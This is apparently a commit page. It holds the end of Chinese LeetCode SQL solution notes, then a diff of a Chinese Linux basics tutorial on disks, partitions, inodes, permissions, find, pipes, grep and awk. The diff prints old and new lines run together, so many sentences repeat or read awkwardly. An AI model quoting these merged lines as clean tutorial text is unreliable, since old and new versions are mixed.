( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT 1, 1 ) SecondHighestSalary;
```
# 177. Nth Highest Salary
## Description
查找工资第 N 高的员工。
## SQL Schema
同 176。
## Solution
```sql
CREATE FUNCTION getNthHighestSalary ( N INT ) RETURNS INT BEGIN
SET N = N - 1;
RETURN ( SELECT ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT N, 1 ) );
END
```
# 178. Rank Scores
https://leetcode.com/problems/rank-scores/description/
## Description
得分表:
```html
+----+-------+
| Id | Score |
+----+-------+
| 1 | 3.50 |
| 2 | 3.65 |
| 3 | 4.00 |
| 4 | 3.85 |
| 5 | 4.00 |
| 6 | 3.65 |
+----+-------+
```
将得分排序,并统计排名。
```html
+-------+------+
| Score | Rank |
+-------+------+
| 4.00 | 1 |
| 4.00 | 1 |
| 3.85 | 2 |
| 3.65 | 3 |
| 3.65 | 3 |
| 3.50 | 4 |
+-------+------+
```
## SQL Schema
```sql
DROP TABLE
IF
EXISTS Scores;
CREATE TABLE Scores ( Id INT, Score DECIMAL ( 3, 2 ) );
INSERT INTO Scores ( Id, Score )
VALUES
( 1, 3.5 ),
( 2, 3.65 ),
( 3, 4.0 ),
( 4, 3.85 ),
( 5, 4.0 ),
( 6, 3.65 );
```
## Solution
```sql
SELECT
S1.score,
COUNT( DISTINCT S2.score ) Rank
FROM
Scores S1
INNER JOIN Scores S2
ON S1.score <= S2.score
GROUP BY
S1.id
ORDER BY
S1.score DESC;
```
# 180. Consecutive Numbers
https://leetcode.com/problems/consecutive-numbers/description/
## Description
数字表:
```html
+----+-----+
| Id | Num |
+----+-----+
| 1 | 1 |
| 2 | 1 |
| 3 | 1 |
| 4 | 2 |
| 5 | 1 |
| 6 | 2 |
| 7 | 2 |
+----+-----+
```
查找连续出现三次的数字。
```html
+-----------------+
| ConsecutiveNums |
+-----------------+
| 1 |
+-----------------+
```
## SQL Schema
```sql
DROP TABLE
IF
EXISTS LOGS;
CREATE TABLE LOGS ( Id INT, Num INT );
INSERT INTO LOGS ( Id, Num )
VALUES
( 1, 1 ),
( 2, 1 ),
( 3, 1 ),
( 4, 2 ),
( 5, 1 ),
( 6, 2 ),
( 7, 2 );
```
## Solution
```sql
SELECT
DISTINCT L1.num ConsecutiveNums
FROM
Logs L1,
Logs L2,
Logs L3
WHERE L1.id = l2.id - 1
AND L2.id = L3.id - 1
AND L1.num = L2.num
AND l2.num = l3.num;
```
# 626. Exchange Seats
https://leetcode.com/problems/exchange-seats/description/
## Description
seat 表存储着座位对应的学生。
```html
+---------+---------+
| id | student |
+---------+---------+
| 1 | Abbot |
| 2 | Doris |
| 3 | Emerson |
| 4 | Green |
| 5 | Jeames |
+---------+---------+
```
要求交换相邻座位的两个学生,如果最后一个座位是奇数,那么不交换这个座位上的学生。
```html
+---------+---------+
| id | student |
+---------+---------+
| 1 | Doris |
| 2 | Abbot |
| 3 | Green |
| 4 | Emerson |
| 5 | Jeames |
+---------+---------+
```
## SQL Schema
```sql
DROP TABLE
IF
EXISTS seat;
CREATE TABLE seat ( id INT, student VARCHAR ( 255 ) );
INSERT INTO seat ( id, student )
VALUES
( '1', 'Abbot' ),
( '2', 'Doris' ),
( '3', 'Emerson' ),
( '4', 'Green' ),
( '5', 'Jeames' );
```
## Solution
使用多个 union。
```sql
SELECT
s1.id - 1 AS id,
s1.student
FROM
seat s1
WHERE
s1.id MOD 2 = 0 UNION
SELECT
s2.id + 1 AS id,
s2.student
FROM
seat s2
WHERE
s2.id MOD 2 = 1
AND s2.id != ( SELECT max( s3.id ) FROM seat s3 ) UNION
SELECT
s4.id AS id,
s4.student
FROM
seat s4
WHERE
s4.id MOD 2 = 1
AND s4.id = ( SELECT max( s5.id ) FROM seat s5 )
ORDER BY
id;
```

View File

@ -11,7 +11,6 @@
* [GNU](#gnu) * [GNU](#gnu)
* [开源协议](#开源协议) * [开源协议](#开源协议)
* [二、磁盘](#二磁盘) * [二、磁盘](#二磁盘)
* [HDD](#hdd)
* [磁盘接口](#磁盘接口) * [磁盘接口](#磁盘接口)
* [磁盘的文件名](#磁盘的文件名) * [磁盘的文件名](#磁盘的文件名)
* [三、分区](#三分区) * [三、分区](#三分区)
@ -46,7 +45,7 @@
* [变量操作](#变量操作) * [变量操作](#变量操作)
* [指令搜索顺序](#指令搜索顺序) * [指令搜索顺序](#指令搜索顺序)
* [数据流重定向](#数据流重定向) * [数据流重定向](#数据流重定向)
* [八、管线指令](#八管线指令) * [八、管指令](#八管指令)
* [提取指令](#提取指令) * [提取指令](#提取指令)
* [排序指令](#排序指令) * [排序指令](#排序指令)
* [双向输出重定向](#双向输出重定向) * [双向输出重定向](#双向输出重定向)
@ -63,7 +62,7 @@
* [wait()](#wait) * [wait()](#wait)
* [waitpid()](#waitpid) * [waitpid()](#waitpid)
* [孤儿进程](#孤儿进程) * [孤儿进程](#孤儿进程)
* [进程](#僵进程) * [进程](#僵进程)
* [参考资料](#参考资料) * [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
@ -136,7 +135,10 @@ sudo 允许一般用户使用 root 可执行的命令,不过只有在 /etc/sud
## 包管理工具 ## 包管理工具
RPM 和 DPKG 为最常见的两类软件包管理工具。RPM 全称为 Redhat Package Manager最早由 Red Hat 公司制定实施,随后被 GNU 开源操作系统接受并成为很多 Linux 系统 (RHEL) 的既定软件标准。与 RPM 进行竞争的是基于 Debian 操作系统 (UBUNTU) 的 DEB 软件包管理工具 DPKG全称为 Debian Package功能方面与 RPM 相似。 RPM 和 DPKG 为最常见的两类软件包管理工具
- RPM 全称为 Redhat Package Manager最早由 Red Hat 公司制定实施,随后被 GNU 开源操作系统接受并成为很多 Linux 系统 (RHEL) 的既定软件标准。
- 与 RPM 进行竞争的是基于 Debian 操作系统 (Ubuntu) 的 DEB 软件包管理工具 DPKG全称为 Debian Package功能方面与 RPM 相似。
YUM 基于 RPM具有依赖管理功能并具有软件升级的功能。 YUM 基于 RPM具有依赖管理功能并具有软件升级的功能。
@ -183,21 +185,6 @@ GNU 计划,译为革奴计划,它的目标是创建一套完全自由的操
# 二、磁盘 # 二、磁盘
## HDD
[Decoding UCS Invicta Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)
Hard Disk Drives(HDD) 俗称硬盘,具有以下结构:
- 盘面Platter一个硬盘有多个盘面
- 磁道Track盘面上的圆形带状区域一个盘面可以有多个磁道
- 扇区Track Sector磁道上的一个弧段一个磁道可以有多个扇区它是最小的物理储存单位目前主要有 512 bytes 与 4 K 两种大小;
- 磁头Head与盘面非常接近能够将盘面上的磁场转换为电信号或者将电信号转换为盘面的磁场
- 制动手臂Actuator arm用于在磁道之间移动磁头
- 主轴Spindle使整个盘面转动。
<div align="center"> <img src="../pics//014fbc4d-d873-4a12-b160-867ddaed9807.jpg" width=""/> </div><br>
## 磁盘接口 ## 磁盘接口
### 1. IDE ### 1. IDE
@ -208,13 +195,13 @@ IDEATA全称 Advanced Technology Attachment接口速度最大为 133MB/
### 2. SATA ### 2. SATA
SATA 全称 Serial ATA也就是使用串口的 ATA 接口,抗干扰性强,且对数据线的长度要求比 ATA 低很多,支持热插拔等功能SATA-II 的接口速度为 300MiB/s而新的 SATA-III 标准可达到 600MiB/s 的传输速度。SATA 的数据线也比 ATA 的细得多,有利于机箱内的空气流通,整理线材也比较方便。 SATA 全称 Serial ATA也就是使用串口的 ATA 接口,抗干扰性强,且对数据线的长度要求比 ATA 低很多,支持热插拔等功能SATA-II 的接口速度为 300MiB/s而新的 SATA-III 标准可达到 600MiB/s 的传输速度。SATA 的数据线也比 ATA 的细得多,有利于机箱内的空气流通,整理线材也比较方便。
<div align="center"> <img src="../pics//f9f2a16b-4843-44d1-9759-c745772e9bcf.jpg" width=""/> </div><br> <div align="center"> <img src="../pics//f9f2a16b-4843-44d1-9759-c745772e9bcf.jpg" width=""/> </div><br>
### 3. SCSI ### 3. SCSI
SCSI 全称是 Small Computer System Interface小型机系统接口经历多代的发展从早期的 SCSI-II到目前的 Ultra320 SCSI 以及 Fiber-Channel光纤通道接口型式也多种多样。SCSI 硬盘广为工作站级个人电脑以及服务器所使用,因此会使用较为先进的技术,如碟片转速 15000rpm 的高转速,且资料传输时 CPU 占用率较低,但是单价也比相同容量的 ATA 及 SATA 硬盘更加昂贵。 SCSI 全称是 Small Computer System Interface小型机系统接口经历多代的发展从早期的 SCSI-II 到目前的 Ultra320 SCSI 以及 Fiber-Channel光纤通道接口型式也多种多样。SCSI 硬盘广为工作站级个人电脑以及服务器所使用,因此会使用较为先进的技术,如碟片转速 15000rpm 的高转速,且传输时 CPU 占用率较低,但是单价也比相同容量的 ATA 及 SATA 硬盘更加昂贵。
<div align="center"> <img src="../pics//f0574025-c514-49f5-a591-6d6a71f271f7.jpg" width=""/> </div><br> <div align="center"> <img src="../pics//f0574025-c514-49f5-a591-6d6a71f271f7.jpg" width=""/> </div><br>
@ -231,7 +218,7 @@ Linux 中每个硬件都被当做一个文件,包括磁盘。磁盘以磁盘
- IDE 磁盘:/dev/hd[a-d] - IDE 磁盘:/dev/hd[a-d]
- SATA/SCSI/SAS 磁盘:/dev/sd[a-p] - SATA/SCSI/SAS 磁盘:/dev/sd[a-p]
其中文件名后面的序号的确定与系统测到磁盘的顺序有关,而与磁盘所插入的插槽位置无关。 其中文件名后面的序号的确定与系统测到磁盘的顺序有关,而与磁盘所插入的插槽位置无关。
# 三、分区 # 三、分区
@ -241,9 +228,9 @@ Linux 中每个硬件都被当做一个文件,包括磁盘。磁盘以磁盘
### 1. MBR ### 1. MBR
MBR 中第一个扇区最重要里面有主要开机记录Master boot record, MBR及分区表partition table其中 MBR 占 446 bytes分区表占 64 bytes。 MBR 中第一个扇区最重要里面有主要开机记录Master boot record, MBR及分区表partition table其中主要开机记录占 446 bytes分区表占 64 bytes。
分区表只有 64 bytes最多只能存储 4 个分区,这 4 个分区为主分区Primary和扩展分区Extended。其中扩展分区只有一个其它扇区用记录分区表,因此通过扩展分区可以分出更多分区,这些分区称为逻辑分区。 分区表只有 64 bytes最多只能存储 4 个分区,这 4 个分区为主分区Primary和扩展分区Extended。其中扩展分区只有一个使用其它扇区用记录额外的分区表,因此通过扩展分区可以分出更多分区,这些分区称为逻辑分区。
Linux 也把分区当成文件,分区文件的命名方式为:磁盘文件名 + 编号,例如 /dev/sda1。注意逻辑分区的编号从 5 开始。 Linux 也把分区当成文件,分区文件的命名方式为:磁盘文件名 + 编号,例如 /dev/sda1。注意逻辑分区的编号从 5 开始。
@ -251,7 +238,7 @@ Linux 也把分区当成文件,分区文件的命名方式为:磁盘文件
不同的磁盘有不同的扇区大小,例如 512 bytes 和最新磁盘的 4 k。GPT 为了兼容所有磁盘在定义扇区上使用逻辑区块地址Logical Block Address, LBALBA 默认大小为 512 bytes。 不同的磁盘有不同的扇区大小,例如 512 bytes 和最新磁盘的 4 k。GPT 为了兼容所有磁盘在定义扇区上使用逻辑区块地址Logical Block Address, LBALBA 默认大小为 512 bytes。
GPT 第 1 个区块记录了 MBR紧接着是 33 个区块记录分区信息,并把最后的 33 个区块用于对分区信息进行备份。这 33 个区块第一个为 GPT 表头纪录,这个部份纪录了分区表本身的位置与大小和备份分区的位置,同时放置了分区表的校验码 (CRC32),操作系统可以根据这个校验码来判断 GPT 是否正确。若有错误,可以使用备份分区进行恢复。 GPT 第 1 个区块记录了主要开机记录(MBR,紧接着是 33 个区块记录分区信息,并把最后的 33 个区块用于对分区信息进行备份。这 33 个区块第一个为 GPT 表头纪录,这个部份纪录了分区表本身的位置与大小和备份分区的位置,同时放置了分区表的校验码 (CRC32),操作系统可以根据这个校验码来判断 GPT 是否正确。若有错误,可以使用备份分区进行恢复。
GPT 没有扩展分区概念,都是主分区,每个 LAB 可以分 4 个分区,因此总共可以分 4 * 32 = 128 个分区。 GPT 没有扩展分区概念,都是主分区,每个 LAB 可以分 4 个分区,因此总共可以分 4 * 32 = 128 个分区。
@ -265,17 +252,17 @@ MBR 不支持 2.2 TB 以上的硬盘GPT 则最多支持到 2<sup>33</sup> TB
BIOSBasic Input/Output System基本输入输出系统它是一个固件嵌入在硬件中的软件BIOS 程序存放在断电后内容不会丢失的只读内存中。 BIOSBasic Input/Output System基本输入输出系统它是一个固件嵌入在硬件中的软件BIOS 程序存放在断电后内容不会丢失的只读内存中。
BIOS 是开机的时候计算机执行的第一个程序,这个程序知道可以开机的磁盘,并读取磁盘第一个扇区的 MBR由 MBR 执行其中的开机管理程序,这个开机管理程序会加载操作系统的核心文件。
<div align="center"> <img src="../pics//50831a6f-2777-46ea-a571-29f23c85cc21.jpg"/> </div><br> <div align="center"> <img src="../pics//50831a6f-2777-46ea-a571-29f23c85cc21.jpg"/> </div><br>
MBR 中的开机管理程序提供以下功能:选单、载入核心文件以及转交其它开机管理程序。转交这个功能可以用来实现了多重引导,只需要将另一个操作系统的开机管理程序安装在其它分区的启动扇区上,在启动 MBR 中的开机管理程序时,就可以通过选单选择启动当前的操作系统或者转交给其它开机管理程序从而启动另一个操作系统 BIOS 是开机的时候计算机执行的第一个程序这个程序知道可以开机的磁盘并读取磁盘第一个扇区的主要开机记录MBR由主要开机记录MBR执行其中的开机管理程序这个开机管理程序会加载操作系统的核心文件
下图中,第一扇区的 MBR 中的开机管理程序提供了两个选单M1、M2M1 指向了 Windows 操作系统,而 M2 指向其它分区的启动扇区,里面包含了另外一个开机管理程序,提供了一个指向 Linux 的选单 主要开机记录(MBR中的开机管理程序提供以下功能:选单、载入核心文件以及转交其它开机管理程序。转交这个功能可以用来实现了多重引导,只需要将另一个操作系统的开机管理程序安装在其它分区的启动扇区上,在启动开机管理程序时,就可以通过选单选择启动当前的操作系统或者转交给其它开机管理程序从而启动另一个操作系统
下图中第一扇区的主要开机记录MBR中的开机管理程序提供了两个选单M1、M2M1 指向了 Windows 操作系统,而 M2 指向其它分区的启动扇区,里面包含了另外一个开机管理程序,提供了一个指向 Linux 的选单。
<div align="center"> <img src="../pics//f900f266-a323-42b2-bc43-218fdb8811a8.jpg" width="600"/> </div><br> <div align="center"> <img src="../pics//f900f266-a323-42b2-bc43-218fdb8811a8.jpg" width="600"/> </div><br>
安装多重引导,最好先安装 Windows 再安装 Linux。因为安装 Windows 时会覆盖掉 MBR而 Linux 可以选择将开机管理程序安装在 MBR 或者其它分区的启动扇区,并且可以设置开机管理程序的选单。 安装多重引导,最好先安装 Windows 再安装 Linux。因为安装 Windows 时会覆盖掉主要开机记录(MBR,而 Linux 可以选择将开机管理程序安装在主要开机记录(MBR或者其它分区的启动扇区,并且可以设置开机管理程序的选单。
### 2. UEFI ### 2. UEFI
@ -289,8 +276,6 @@ BIOS 不可以读取 GPT 分区表,而 UEFI 可以。
## 组成 ## 组成
<div align="center"> <img src="../pics//BSD_disk.png" width="800"/> </div><br>
最主要的几个组成部分如下: 最主要的几个组成部分如下:
- inode一个文件占用一个 inode记录文件的属性同时记录此文件的内容所在的 block 编号; - inode一个文件占用一个 inode记录文件的属性同时记录此文件的内容所在的 block 编号;
@ -299,7 +284,9 @@ BIOS 不可以读取 GPT 分区表,而 UEFI 可以。
除此之外还包括: 除此之外还包括:
- superblock记录文件系统的整体信息包括 inode 和 block 的总量、使用量、剩余量,以及文件系统的格式与相关信息等; - superblock记录文件系统的整体信息包括 inode 和 block 的总量、使用量、剩余量,以及文件系统的格式与相关信息等;
- block bitmap记录 block 是否被使用的位域 - block bitmap记录 block 是否被使用的位域
<div align="center"> <img src="../pics//BSD_disk.png" width="800"/> </div><br>
## 文件读取 ## 文件读取
@ -344,13 +331,15 @@ inode 具有以下特点:
- 每个 inode 大小均固定为 128 bytes (新的 ext4 与 xfs 可设定到 256 bytes) - 每个 inode 大小均固定为 128 bytes (新的 ext4 与 xfs 可设定到 256 bytes)
- 每个文件都仅会占用一个 inode。 - 每个文件都仅会占用一个 inode。
inode 中记录了文件内容所在的 block 编号,但是每个 block 非常小,一个大文件随便都需要几十万的 block。而一个 inode 大小有限,无法直接引用这么多 block 编号。因此引入了间接、双间接、三间接引用。间接引用是指,让 inode 记录的引用 block 块当成 inode 用来记录引用信息。 inode 中记录了文件内容所在的 block 编号,但是每个 block 非常小,一个大文件随便都需要几十万的 block。而一个 inode 大小有限,无法直接引用这么多 block 编号。因此引入了间接、双间接、三间接引用。间接引用是指,让 inode 记录的引用 block 块记录引用信息。
<div align="center"> <img src="../pics//inode_with_signatures.jpg" width="600"/> </div><br> <div align="center"> <img src="../pics//inode_with_signatures.jpg" width="600"/> </div><br>
## 目录 ## 目录
建立一个目录时,会分配一个 inode 与至少一个 block。block 记录的内容是目录下所有文件的 inode 编号以及文件名。可以看出文件的 inode 本身不记录文件名,文件名记录在目录中,因此新增文件、删除文件、更改文件名这些操作与目录的 w 权限有关。 建立一个目录时,会分配一个 inode 与至少一个 block。block 记录的内容是目录下所有文件的 inode 编号以及文件名。
可以看出文件的 inode 本身不记录文件名,文件名记录在目录中,因此新增文件、删除文件、更改文件名这些操作与目录的 w 权限有关。
## 日志 ## 日志
@ -380,19 +369,19 @@ ext3/ext4 文件系统引入了日志功能,可以利用日志来修复文件
使用 ls 查看一个文件时,会显示一个文件的信息,例如 `drwxr-xr-x. 3 root root 17 May 6 00:14 .config`,对这个信息的解释如下: 使用 ls 查看一个文件时,会显示一个文件的信息,例如 `drwxr-xr-x. 3 root root 17 May 6 00:14 .config`,对这个信息的解释如下:
- drwxr-xr-x文件类型以及权限第 1 位为文件类型字段,后 9 位为文件权限字段 - drwxr-xr-x文件类型以及权限第 1 位为文件类型字段,后 9 位为文件权限字段
- 3链接数 - 3链接数
- root文件拥有者 - root文件拥有者
- root所属群组 - root所属群组
- 17文件大小 - 17文件大小
- May 6 00:14文件最后被修改的时间 - May 6 00:14文件最后被修改的时间
- .config文件名 - .config文件名
常见的文件类型及其含义有: 常见的文件类型及其含义有:
- d目录 - d目录
- -:文件 - -:文件
- l链接文件 - l链接文件
9 位的文件权限字段中,每 3 个为一组,共 3 组,每一组分别代表对文件拥有者、所属群组以及其它人的文件权限。一组权限中的 3 位分别为 r、w、x 权限,表示可读、可写、可执行。 9 位的文件权限字段中,每 3 个为一组,共 3 组,每一组分别代表对文件拥有者、所属群组以及其它人的文件权限。一组权限中的 3 位分别为 r、w、x 权限,表示可读、可写、可执行。
@ -435,7 +424,7 @@ cd [相对路径或绝对路径]
### 4. rmdir ### 4. rmdir
删除目录,必须为空。 删除目录,目录必须为空。
```html ```html
rmdir [-p] 目录名称 rmdir [-p] 目录名称
@ -499,7 +488,7 @@ cp [-adfilprsu] source destination
# chmod [-R] xyz dirname/filename # chmod [-R] xyz dirname/filename
``` ```
例:将 .bashrc 文件的权限修改为 -rwxr-xr--。 例:将 .bashrc 文件的权限修改为 -rwxr-xr--。
```html ```html
# chmod 754 .bashrc # chmod 754 .bashrc
@ -518,7 +507,7 @@ cp [-adfilprsu] source destination
- =:设定权限 - =:设定权限
``` ```
例:为 .bashrc 文件的所有用户添加写权限。 例:为 .bashrc 文件的所有用户添加写权限。
```html ```html
# chmod a+w .bashrc # chmod a+w .bashrc
@ -545,13 +534,15 @@ cp [-adfilprsu] source destination
-f :如果目标文件存在时,先删除目标文件 -f :如果目标文件存在时,先删除目标文件
``` ```
<div align="center"> <img src="../pics//b8081c84-62c4-4019-b3ee-4bd0e443d647.jpg"/> </div><br>
### 1. 实体链接 ### 1. 实体链接
它和普通文件类似,实体链接文件的 inode 都指向源文件所在的 block 上,也就是说读取文件直接从源文件的 block 上读取 在目录下创建一个条目,记录着文件名与 inode 编号,这个 inode 就是源文件的 inode
删除任意一个条目,文件还是存在,只要引用数量不为 0。 删除任意一个条目,文件还是存在,只要引用数量不为 0。
有以下限制:不能跨越 File System、不能对目录进行链接。 有以下限制:不能跨越文件系统、不能对目录进行链接。
```html ```html
# ln /etc/crontab . # ln /etc/crontab .
@ -653,7 +644,7 @@ locate 使用 /var/lib/mlocate/ 这个数据库来进行搜索,它存储在内
example: find . -name "shadow*" example: find . -name "shadow*"
``` ```
(一)与时间有关的选项 **与时间有关的选项**
```html ```html
-mtime n :列出在 n 天前的那一天修改过内容的文件 -mtime n :列出在 n 天前的那一天修改过内容的文件
@ -666,7 +657,7 @@ example: find . -name "shadow*"
<div align="center"> <img src="../pics//658fc5e7-79c0-4247-9445-d69bf194c539.png" width=""/> </div><br> <div align="center"> <img src="../pics//658fc5e7-79c0-4247-9445-d69bf194c539.png" width=""/> </div><br>
(二)与文件拥有者和所属群组有关的选项 **与文件拥有者和所属群组有关的选项**
```html ```html
-uid n -uid n
@ -677,7 +668,7 @@ example: find . -name "shadow*"
-nogroup搜索所属群组不存在于 /etc/group 的文件 -nogroup搜索所属群组不存在于 /etc/group 的文件
``` ```
(三)与文件权限和名称有关的选项 **与文件权限和名称有关的选项**
```html ```html
-name filename -name filename
@ -781,15 +772,11 @@ $ tar [-z|-j|-J] [xv] [-f 已有的 tar 文件] [-C 目录] ==解压缩
## 特性 ## 特性
- 命令历史:记录使用过的命令。本次登录所执行的命令都会暂时存放到内存中,\~/.bash_history 文件中记录的是前一次登录所执行过的命令。 - 命令历史:记录使用过的命令
- 命令与文件补全快捷键tab
-令与文件补全快捷键tab。 -名别名:例如 lm 是 ls -al 的别名
- shell scripts
- 命名别名:例如 lm 是 ls -al 的别名。 - 通配符:例如 ls -l /usr/bin/X\* 列出 /usr/bin 下面所有以 X 开头的文件
- shell scripts。
- 通配符:例如 ls -l /usr/bin/X\* 列出 /usr/bin 下面所有以 X 开头的文件。
## 变量操作 ## 变量操作
@ -800,17 +787,17 @@ $ tar [-z|-j|-J] [xv] [-f 已有的 tar 文件] [-C 目录] ==解压缩
输出变量使用 echo 命令。 输出变量使用 echo 命令。
```bash ```bash
$ var=abc $ x=abc
$ echo $var $ echo $x
$ echo ${var} $ echo ${x}
``` ```
变量内容如果有空格,必须使用双引号或者单引号。 变量内容如果有空格,必须使用双引号或者单引号。
- 双引号内的特殊字符可以保留原本特性,例如 var="lang is \$LANG",则 var 的值为 lang is zh_TW.UTF-8 - 双引号内的特殊字符可以保留原本特性,例如 x="lang is \$LANG",则 x 的值为 lang is zh_TW.UTF-8
- 单引号内的特殊字符就是特殊字符本身,例如 var='lang is \$LANG',则 var 的值为 lang is \$LANG。 - 单引号内的特殊字符就是特殊字符本身,例如 x='lang is \$LANG',则 x 的值为 lang is \$LANG。
可以使用 \`指令\` 或者 \$(指令) 的方式将指令的执行结果赋值给变量。例如 version=\$(uname -r),则 version 的值为 3.10.0-229.el7.x86_64 可以使用 \`指令\` 或者 \$(指令) 的方式将指令的执行结果赋值给变量。例如 version=\$(uname -r),则 version 的值为 4.15.0-22-generic
可以使用 export 命令将自定义变量转成环境变量,环境变量可以在子程序中使用,所谓子程序就是由当前 Bash 而产生的子 Bash。 可以使用 export 命令将自定义变量转成环境变量,环境变量可以在子程序中使用,所谓子程序就是由当前 Bash 而产生的子 Bash。
@ -836,7 +823,7 @@ $ echo ${array[1]}
- 以绝对或相对路径来执行指令,例如 /bin/ls 或者 ./ls - 以绝对或相对路径来执行指令,例如 /bin/ls 或者 ./ls
- 由别名找到该指令来执行; - 由别名找到该指令来执行;
- 由 Bash 内的指令来执行; - 由 Bash 内的指令来执行;
- 按 \$PATH 变量指定的搜索路径的顺序找到第一个指令来执行。 - 按 \$PATH 变量指定的搜索路径的顺序找到第一个指令来执行。
## 数据流重定向 ## 数据流重定向
@ -859,9 +846,11 @@ $ echo ${array[1]}
$ find /home -name .bashrc > list 2>&1 $ find /home -name .bashrc > list 2>&1
``` ```
# 八、管线指令 # 八、管指令
线是将一个命令的标准输出作为另一个命令的标准输入,在数据需要经过多个步骤的处理之后才能得到我们想要的内容时就可以使用管线。在命令之间使用 | 分隔各个管线命令 是将一个命令的标准输出作为另一个命令的标准输入,在数据需要经过多个步骤的处理之后才能得到我们想要的内容时就可以使用管
在命令之间使用 | 分隔各个管道命令。
```bash ```bash
$ ls -al /etc | less $ ls -al /etc | less
@ -869,7 +858,9 @@ $ ls -al /etc | less
## 提取指令 ## 提取指令
cut 对数据进行切分,取出想要的部分。切分过程一行一行地进行。 cut 对数据进行切分,取出想要的部分。
切分过程一行一行地进行。
```html ```html
$ cut $ cut
@ -878,7 +869,7 @@ $ cut
-c :以字符为单位取出区间 -c :以字符为单位取出区间
``` ```
例 1last 显示登入者的信息,要求仅显示用户名。 例 1last 显示登入者的信息,取出用户名。
```html ```html
$ last $ last
@ -889,7 +880,7 @@ root pts/1 192.168.201.254 Thu Feb 5 22:37 - 23:53 (01:16)
$ last | cut -d ' ' -f 1 $ last | cut -d ' ' -f 1
``` ```
例 2将 export 输出的息,取第 12 字符以后的所有字符串。 例 2将 export 输出的息,取第 12 字符以后的所有字符串。
```html ```html
$ export $ export
@ -899,12 +890,12 @@ declare -x HOME="/home/dmtsai"
declare -x HOSTNAME="study.centos.vbird" declare -x HOSTNAME="study.centos.vbird"
.....(其他省略)..... .....(其他省略).....
$ export | cut -c 12 $ export | cut -c 12-
``` ```
## 排序指令 ## 排序指令
**sort** 进行排序。 **sort** 用于排序。
```html ```html
$ sort [-fbMnrtuk] [file or stdin] $ sort [-fbMnrtuk] [file or stdin]
@ -918,7 +909,7 @@ $ sort [-fbMnrtuk] [file or stdin]
-k :指定排序的区间 -k :指定排序的区间
``` ```
例:/etc/passwd 文件内容以 : 来分隔,要求以第三列进行排序。 例:/etc/passwd 文件内容以 : 来分隔,要求以第三列进行排序。
```html ```html
$ cat /etc/passwd | sort -t ':' -k 3 $ cat /etc/passwd | sort -t ':' -k 3
@ -936,7 +927,7 @@ $ uniq [-ic]
-c :进行计数 -c :进行计数
``` ```
例:取得每个人的登录总次数 例:取得每个人的登录总次数
```html ```html
$ last | cut -d ' ' -f 1 | sort | uniq -c $ last | cut -d ' ' -f 1 | sort | uniq -c
@ -965,7 +956,7 @@ $ tr [-ds] SET1 ...
-d 删除行中 SET1 这个字符串 -d 删除行中 SET1 这个字符串
``` ```
例,将 last 输出的信息所有小写转换为大写。 例,将 last 输出的信息所有小写转换为大写。
```html ```html
$ last | tr '[a-z]' '[A-Z]' $ last | tr '[a-z]' '[A-Z]'
@ -1017,19 +1008,18 @@ $ split [-bl] file PREFIX
## grep ## grep
使用正则表示式把匹配的行提取出来 g/re/pglobally search a regular expression and print),使用正则表示式进行全局查找并打印
```html ```html
$ grep [-acinv] [--color=auto] 搜寻字符串 filename $ grep [-acinv] [--color=auto] 搜寻字符串 filename
-a 将 binary 文件以 text 文件的方式进行搜寻 -c 统计个数
-c 计算找到个数
-i 忽略大小写 -i 忽略大小写
-n 输出行号 -n 输出行号
-v 反向选择,亦即显示出没有 搜寻字符串 内容的那一行 -v 反向选择,也就是显示出没有 搜寻字符串 内容的那一行
--color=auto :找到的关键字加颜色显示 --color=auto :找到的关键字加颜色显示
``` ```
例:把含有 the 字符串的行提取出来(注意默认会有 --color=auto 选项,因此以下内容在 Linux 中有颜色显示 the 字符串) 例:把含有 the 字符串的行提取出来(注意默认会有 --color=auto 选项,因此以下内容在 Linux 中有颜色显示 the 字符串)
```html ```html
$ grep -n 'the' regular_express.txt $ grep -n 'the' regular_express.txt
@ -1048,9 +1038,7 @@ $ grep -n 'go\{2,5\}g' regular_express.txt
## printf ## printf
用于格式化输出。 用于格式化输出。它不属于管道命令,在给 printf 传数据时需要使用 $( ) 形式。
它不属于管道命令,在给 printf 传数据时需要使用 $( ) 形式。
```html ```html
$ printf '%10s %5i %5i %5i %8.2f \n' $(cat printf.txt) $ printf '%10s %5i %5i %5i %8.2f \n' $(cat printf.txt)
@ -1061,15 +1049,11 @@ $ printf '%10s %5i %5i %5i %8.2f \n' $(cat printf.txt)
## awk ## awk
可以根据字段的某些条件进行匹配,例如匹配字段小于某个值的那一行数据 是由 Alfred AhoPeter Weinberger, 和 Brian Kernighan 创造awk 这个名字就是这三个创始人名字的首字母
```html
$ awk '条件类型 1 {动作 1} 条件类型 2 {动作 2} ...' filename
```
awk 每次处理一行,处理的最小单位是字段,每个字段的命名方式为:\$nn 为字段号,从 1 开始,\$0 表示一整行。 awk 每次处理一行,处理的最小单位是字段,每个字段的命名方式为:\$nn 为字段号,从 1 开始,\$0 表示一整行。
范例 1取出登录用户的用户名和 ip 示例:取出最近五个登录用户的用户名和 IP
```html ```html
$ last -n 5 $ last -n 5
@ -1078,19 +1062,36 @@ dmtsai pts/0 192.168.1.100 Thu Jul 9 23:36 - 02:58 (03:22)
dmtsai pts/0 192.168.1.100 Thu Jul 9 17:23 - 23:36 (06:12) dmtsai pts/0 192.168.1.100 Thu Jul 9 17:23 - 23:36 (06:12)
dmtsai pts/0 192.168.1.100 Thu Jul 9 08:02 - 08:17 (00:14) dmtsai pts/0 192.168.1.100 Thu Jul 9 08:02 - 08:17 (00:14)
dmtsai tty1 Fri May 29 11:55 - 12:11 (00:15) dmtsai tty1 Fri May 29 11:55 - 12:11 (00:15)
```
$ last -n 5 | awk '{print $1 "\t" $3} ```html
$ last -n 5 | awk '{print $1 "\t" $3}'
```
可以根据字段的某些条件进行匹配,例如匹配字段小于某个值的那一行数据。
```html
$ awk '条件类型 1 {动作 1} 条件类型 2 {动作 2} ...' filename
```
示例:/etc/passwd 文件第三个字段为 UID对 UID 小于 10 的数据进行处理。
```text
$ cat /etc/passwd | awk 'BEGIN {FS=":"} $3 < 10 {print $1 "\t " $3}'
root 0
bin 1
daemon 2
``` ```
awk 变量: awk 变量:
| 变量名称 | 代表意义 | | 变量名称 | 代表意义 |
| -- | -- | | :--: | -- |
| NF | 每一行拥有的字段总数 | | NF | 每一行拥有的字段总数 |
| NR | 目前所处理的是第几行数据 | | NR | 目前所处理的是第几行数据 |
